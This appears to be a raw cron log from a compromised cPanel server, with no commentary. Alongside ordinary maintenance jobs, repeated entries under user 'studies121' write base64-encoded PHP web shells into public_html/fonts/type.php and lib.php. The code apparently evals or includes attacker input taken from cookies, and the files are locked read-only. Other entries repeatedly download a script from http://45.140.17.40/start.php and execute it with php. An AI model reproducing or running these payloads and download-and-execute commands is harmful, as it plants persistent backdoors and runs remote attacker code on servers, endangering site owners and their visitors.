Sep  7 18:07:01 ip-184-168-122-23 CROND[27266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:07:01 ip-184-168-122-23 CROND[27267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:07:01 ip-184-168-122-23 CROND[27268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:08:01 ip-184-168-122-23 CROND[27496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:08:01 ip-184-168-122-23 CROND[27497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:08:01 ip-184-168-122-23 CROND[27498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:08:01 ip-184-168-122-23 CROND[27500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:08:01 ip-184-168-122-23 CROND[27499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:09:01 ip-184-168-122-23 CROND[27686]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 18:09:01 ip-184-168-122-23 CROND[27687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:09:01 ip-184-168-122-23 CROND[27689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:09:01 ip-184-168-122-23 CROND[27690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:09:01 ip-184-168-122-23 CROND[27691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:10:01 ip-184-168-122-23 CROND[27848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:10:01 ip-184-168-122-23 CROND[27855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:10:01 ip-184-168-122-23 CROND[27853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:10:01 ip-184-168-122-23 CROND[27854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:10:01 ip-184-168-122-23 CROND[27852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:10:01 ip-184-168-122-23 CROND[27850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:10:01 ip-184-168-122-23 CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:10:01 ip-184-168-122-23 CROND[27856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:11:01 ip-184-168-122-23 CROND[27977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:11:01 ip-184-168-122-23 CROND[27979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:11:01 ip-184-168-122-23 CROND[27981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:11:01 ip-184-168-122-23 CROND[27980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:12:01 ip-184-168-122-23 CROND[28122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:12:01 ip-184-168-122-23 CROND[28124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:12:01 ip-184-168-122-23 CROND[28121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:12:01 ip-184-168-122-23 CROND[28125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:12:01 ip-184-168-122-23 CROND[28123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:13:02 ip-184-168-122-23 CROND[28364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:13:02 ip-184-168-122-23 CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:13:02 ip-184-168-122-23 CROND[28365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:13:02 ip-184-168-122-23 CROND[28367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:14:01 ip-184-168-122-23 CROND[28504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:14:01 ip-184-168-122-23 CROND[28506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:14:01 ip-184-168-122-23 CROND[28507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:14:01 ip-184-168-122-23 CROND[28505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:14:01 ip-184-168-122-23 CROND[28508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:15:01 ip-184-168-122-23 CROND[28732]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:15:01 ip-184-168-122-23 CROND[28735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 18:15:01 ip-184-168-122-23 CROND[28740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:16:01 ip-184-168-122-23 CROND[28855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:16:01 ip-184-168-122-23 CROND[28856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:16:01 ip-184-168-122-23 CROND[28857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:16:01 ip-184-168-122-23 CROND[28858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:16:01 ip-184-168-122-23 CROND[28861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:16:01 ip-184-168-122-23 CROND[28859]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:17:01 ip-184-168-122-23 CROND[28949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:17:01 ip-184-168-122-23 CROND[28952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:17:01 ip-184-168-122-23 CROND[28951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:17:01 ip-184-168-122-23 CROND[28953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:18:01 ip-184-168-122-23 CROND[29032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:18:01 ip-184-168-122-23 CROND[29033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:18:01 ip-184-168-122-23 CROND[29034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:18:01 ip-184-168-122-23 CROND[29035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:18:01 ip-184-168-122-23 CROND[29036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:19:01 ip-184-168-122-23 CROND[29127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
